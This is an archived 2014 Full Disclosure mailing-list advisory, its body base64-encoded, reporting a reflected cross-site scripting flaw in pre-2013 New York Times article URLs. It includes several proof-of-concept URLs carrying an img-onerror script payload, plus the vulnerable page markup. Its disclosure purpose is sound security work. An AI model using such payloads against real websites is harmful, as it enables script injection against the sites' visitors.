From full-disclosure Thu Oct 16 04:36:28 2014 From: Jing Wang Date: Thu, 16 Oct 2014 04:36:28 +0000 To: full-disclosure Subject: [FD] New York Times nytimes.com Page Design XSS Vulnerability (Almost all Article Pages Before 2013 Message-Id: X-MARC-Message: https://marc.info/?l=full-disclosure&m=141343993908563 TmV3IFlvcmsgVGltZXMgbnl0aW1lcy5jb20gUGFnZSBEZXNpZ24gWFNTIFZ1bG5lcmFiaWxpdHkg KEFsbW9zdCBhbGwKQXJ0aWNsZSBQYWdlcyBCZWZvcmUgMjAxMyBhcmUgQWZmZWN0ZWQpCgoKRG9t YWluOgpodHRwOi8vd3d3Lm55dGltZXMuY29tLwoKCgpWdWxuZXJhYmlsaXR5IERlc2NyaXB0aW9u OgpUaGUgdnVsbmVyYWJpbGl0eSBvY2N1cnMgYXQgTmV3IFlvcmsgVGltZXPigJlzIFVSTHMuIE55 dGltZXMgKHNob3J0IGZvciBOZXcKWW9yayBUaW1lcykgdXNlcyBwYXJ0IG9mIHRoZSBVUkxzIHRv IGNvbnN0cnVjdCBpdHMgcGFnZXMuIEhvd2V2ZXIsIGl0IHNlZW1zCnRoYXQgTnl0aW1lcyBkb2Vz IG5vdCBmaWx0ZXIgdGhlIGNvbnRlbnQgdXNlZCBmb3IgdGhlIGNvbnN0cnVjdGlvbiBhdCBhbGwK YmVmb3JlIDIwMTMuCgpCYXNlZCBvbiBOeXRpbWVz4oCZcyBEZXNpZ24sIEFsbW9zdCBhbGwgVVJM cyBiZWZvcmUgMjAxMyBhcmUgYWZmZWN0ZWQgKEFsbApwYWdlcyBvZiBhcnRpY2xlcykuIEluIGZh Y3QsIGFsbCBhcnRpY2xlIHBhZ2VzIHRoYXQgY29udGFpbiDigJxQUklOVOKAnSBidXR0b24sCuKA nFNJTkdMRSBQQUdF4oCdIGJ1dHRvbiwg4oCcUGFnZSAq4oCdIGJ1dHRvbiwg4oCcTkVYVCBQQUdF 4oCdIGJ1dHRvbiBhcmUgYWZmZWN0ZWQuCgpOeXRpbWVzIGNoYW5nZWQgdGhpcyBtZWNoYW5pc20g c2luY2UgMjAxMy4gSXQgZGVjb2RlcyB0aGUgVVJMcyBzZW50IHRvIGl0cwpzZXJ2ZXIuIFRoaXMg bWFrZXMgdGhlIG1lY2hhbmlzbSBtdWNoIHNhZmVyIG5vdy4KCkhvd2V2ZXIsIGFsbCBVUkxzIGJl Zm9yZSAyMDEzIGFyZSBzdGlsbCB1c2luZyB0aGUgb2xkIG1lY2hhbmlzbS4gVGhpcyBtZWFucwph bG1vc3QgYWxsIGFydGljbGUgcGFnZXMgYmVmb3JlIDIwMTMgYXJlIHN0aWxsIHZ1bG5lcmFibGUg dG8gWFNTIGF0dGFja3MuIEkKZ3Vlc3MgdGhlIHJlYXNvbiBOeXRpbWVzIGRvZXMgbm90IGZpbHRl ciBVUkxzIGJlZm9yZSBpcyBjb3N0LiBJdCBjb3N0cyB0b28KbXVjaCAobW9uZXkgJiBodW1hbiBj YXBpdGFsKSB0byBjaGFuZ2UgdGhlIGRhdGFiYXNlIG9mIGFsbCBwb3N0ZWQgYXJ0aWNsZXMKYmVm b3JlLgoKCgoKTGl2aW5nIFBPQ3M6Cmh0dHA6Ly93d3cubnl0aW1lcy5jb20vMjAxMi8wMi8xMi9z dW5kYXktcmV2aWV3L2JpZy1kYXRhcy1pbXBhY3QtaW4tdGhlLXdvcmxkLmh0bWwv4oCcPjxpbWcK c3JjPXggb25lcnJvcj1wcm9tcHQo4oCYanVzdHFkamluZ+KAmSk+Cmh0dHA6Ly93d3cubnl0aW1l cy5jb20vMjAxMS8wMS8wOS90cmF2ZWwvMDl3aGVyZS10by1nby5odG1sL+KAnD48aW1nIHNyYz14 Cm9uZXJyb3I9cHJvbXB0KOKAmGp1c3RxZGppbmfigJkpPj9wYWdld2FudGVkPWFsbCZfcj0wCmh0 dHA6Ly93d3cubnl0aW1lcy5jb20vMjAxMC8xMi8wNy9vcGluaW9uLzA3YnJvb2tzLmh0bWwv4oCc PjxpbWcgc3JjPXgKb25lcnJvcj1wcm9tcHQo4oCYanVzdHFkamluZ+KAmSk+Cmh0dHA6Ly93d3cu bnl0aW1lcy5jb20vMjAwOS8wOC8wNi90ZWNobm9sb2d5LzA2c3RhdHMuaHRtbC/igJw+PGltZyBz cmM9eApvbmVycm9yPXByb21wdCjigJhqdXN0cWRqaW5n4oCZKT4KaHR0cDovL3d3dy5ueXRpbWVz LmNvbS8yMDA4LzA3LzA5L2RpbmluZy8wOTFjcmV4Lmh0bWwv4oCcPjxpbWcgc3JjPXgKb25lcnJv cj1wcm9tcHQo4oCYanVzdHFkamluZ+KAmSk+Cmh0dHA6Ly93d3cubnl0aW1lcy5jb20vMjAwNy8x MS8xNC9vcGluaW9uL2x3ZWIxNGJyYWluLmh0bWwv4oCcPjxpbWcgc3JjPXgKb25lcnJvcj1wcm9t cHQo4oCYanVzdHFkamluZ+KAmSk+CgoKCgpQT0MgVmlkZW86Cmh0dHBzOi8vd3d3LnlvdXR1YmUu Y29tL3VzZXIvdGV0cmFwaAoKCgoKVnVsbmVyYWJpbGl0eSBBbmFseXNpczoKVGFrZSB0aGUgZm9s bG93aW5nIGxpbmsgYXMgYW4gZXhhbXBsZSwKaHR0cDovL3d3dy5ueXRpbWVzLmNvbS8yMDEyLzAy LzEyL3N1bmRheS1yZXZpZXcvYmlnLWRhdGFzLWltcGFjdC1pbi10aGUtd29ybGQuaHRtbC8K4oCc Pjx2dWxuZXJhYmxldG9hdHRhY2sKCldlIGNhbiBzZWUgdGhhdCBmb3IgdGhlIHBhZ2UgcmVmbGVj dGVkLCBpdCBjb250YWlucyB0aGUgZm9sbG93aW5nIGNvZGVzLgpBbGwgb2YgdGhlbSBhcmUgdnVs bmVyYWJsZS4KCjxsaSBjbGFzcz3igJ1wcmludOKAnT4KPGEKaHJlZj3igJ0vMjAxMi8wMi8xMi9z dW5kYXktcmV2aWV3L2JpZy1kYXRhcy1pbXBhY3QtaW4tdGhlLXdvcmxkLmh0bWwv4oCdPjx2dWxu ZXJhYmxldG9hdHRhY2s/cGFnZXdhbnRlZD1wcmludOKAnT5QcmludDwvdGVzdHRlc3R0ZXN0P3Bh Z2V3YW50ZWQ9cHJpbnTigJ0+PC9hPgo8L2xpPgoKPGxpIGNsYXNzPeKAnXNpbmdsZVBhZ2XigJ0+ CjxhCmhyZWY94oCdLzIwMTIvMDIvMTIvc3VuZGF5LXJldmlldy9iaWctZGF0YXMtaW1wYWN0LWlu LXRoZS13b3JsZC5odG1sL+KAnT48dGVzdHRlc3R0ZXN0P3BhZ2V3YW50ZWQ9YWxs4oCdPgpTaW5n bGUgUGFnZTwvdnVsbmVyYWJsZXRvYXR0YWNrP3BhZ2V3YW50ZWQ9YWxs4oCdPjwvYT4KIDwvbGk+ Cgo8bGk+IDxhIG9uY2xpY2s94oCdc19jb2RlX2xpbmt0cmFjayjigJhBcnRpY2xlLU11bHRpUGFn ZVBhZ2VOdW0y4oCyKTvigJ0KdGl0bGU94oCdUGFnZSAy4oCzCmhyZWY94oCdLzIwMTIvMDIvMTIv c3VuZGF5LXJldmlldy9iaWctZGF0YXMtaW1wYWN0LWluLXRoZS13b3JsZC5odG1sL+KAnT48dnVs bmVyYWJsZXRvYXR0YWNrP3BhZ2V3YW50ZWQ9MuKAsz4yPC90ZXN0dGVzdHRlc3Q/cGFnZXdhbnRl ZD0y4oCzPjwvYT4KPC9saT4KCjxsaT4gPGEgb25jbGljaz3igJ1zX2NvZGVfbGlua3RyYWNrKOKA mEFydGljbGUtTXVsdGlQYWdlUGFnZU51bTPigLIpO+KAnQp0aXRsZT3igJ1QYWdlIDPigLMKaHJl Zj3igJ0vMjAxMi8wMi8xMi9zdW5kYXktcmV2aWV3L2JpZy1kYXRhcy1pbXBhY3QtaW4tdGhlLXdv cmxkLmh0bWwv4oCdPjx2dWxuZXJhYmxldG9hdHRhY2s/cGFnZXdhbnRlZD0z4oCzPjM8L3Rlc3R0 ZXN0dGVzdD9wYWdld2FudGVkPTPigLM+PC9hPgo8L2xpPgoKPGEgY2xhc3M94oCdbmV4dOKAnSBv bmNsaWNrPeKAnXNfY29kZV9saW5rdHJhY2so4oCYQXJ0aWNsZS1NdWx0aVBhZ2UtTmV4dOKAmSk7 4oCdCnRpdGxlPeKAnU5leHQgUGFnZeKAnQpocmVmPeKAnS8yMDEyLzAyLzEyL3N1bmRheS1yZXZp ZXcvYmlnLWRhdGFzLWltcGFjdC1pbi10aGUtd29ybGQuaHRtbC/igJ0+PHZ1bG5lcmFibGV0b2F0 dGFjaz9wYWdld2FudGVkPTLigLM+TmV4dApQYWdlIMK7PC90ZXN0dGVzdHRlc3Q/cGFnZXdhbnRl ZD0y4oCzPjwvYT4KCgoKCgpUaGUgdnVsbmVyYWJpbGl0eSBjYW4gYmUgYXR0YWNrZWQgd2l0aG91 dCB1c2VyIGxvZ2luLiBUZXN0cyB3ZXJlIHBlcmZvcm1lZApvbiBGaXJlZm94ICgyNi4wKSBpbiBV YnVudHUgKDEyLjA0KSBhbmQgSUUgKDkuMC4xNSkgaW4gV2luZG93cyA3LgoKCgoKCkNyb3NzLXNp dGUgc2NyaXB0aW5nIChYU1MpIGlzIGEgdHlwZSBvZiBjb21wdXRlciBzZWN1cml0eSB2dWxuZXJh YmlsaXR5CnR5cGljYWxseSBmb3VuZCBpbiBXZWIgYXBwbGljYXRpb25zLiBYU1MgZW5hYmxlcyBh dHRhY2tlcnMgdG8gaW5qZWN0CmNsaWVudC1zaWRlIHNjcmlwdCBpbnRvIFdlYiBwYWdlcyB2aWV3 ZWQgYnkgb3RoZXIgdXNlcnMuIEEgY3Jvc3Mtc2l0ZQpzY3JpcHRpbmcgdnVsbmVyYWJpbGl0eSBt YXkgYmUgdXNlZCBieSBhdHRhY2tlcnMgdG8gYnlwYXNzIGFjY2VzcyBjb250cm9scwpzdWNoIGFz IHRoZSBzYW1lIG9yaWdpbiBwb2xpY3kuCgoKCgoKUmVwb3J0ZWQgQnk6CldhbmcgSmluZywgbWF0 aGVtYXRpY3Mgc3R1ZGVudCBmcm9tIE5hbnlhbmcgVGVjaG5vbG9naWNhbCBVbml2ZXJzaXR5LApT aW5nYXBvcmUuCmh0dHA6Ly90ZXRyYXBoLmNvbS93YW5namluZy8KCgoKCk1vcmUgRGV0YWlsczoK aHR0cDovL3d3dy50ZXRyYXBoLmNvbS9ibG9nL3hzcy12dWxuZXJhYmlsaXR5L25ldy15b3JrLXRp bWVzLW55dGltZXMtY29tLXBhZ2UtZGVzaWduLXhzcy12dWxuZXJhYmlsaXR5LWFsbW9zdC1hbGwt YXJ0aWNsZS1wYWdlcy1hcmUtYWZmZWN0ZWQvCgpfX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fXwpTZW50IHRocm91Z2ggdGhlIEZ1bGwgRGlzY2xvc3VyZSBtYWls aW5nIGxpc3QKaHR0cDovL25tYXAub3JnL21haWxtYW4vbGlzdGluZm8vZnVsbGRpc2Nsb3N1cmUK V2ViIEFyY2hpdmVzICYgUlNTOiBodHRwOi8vc2VjbGlzdHMub3JnL2Z1bGxkaXNjbG9zdXJlLw==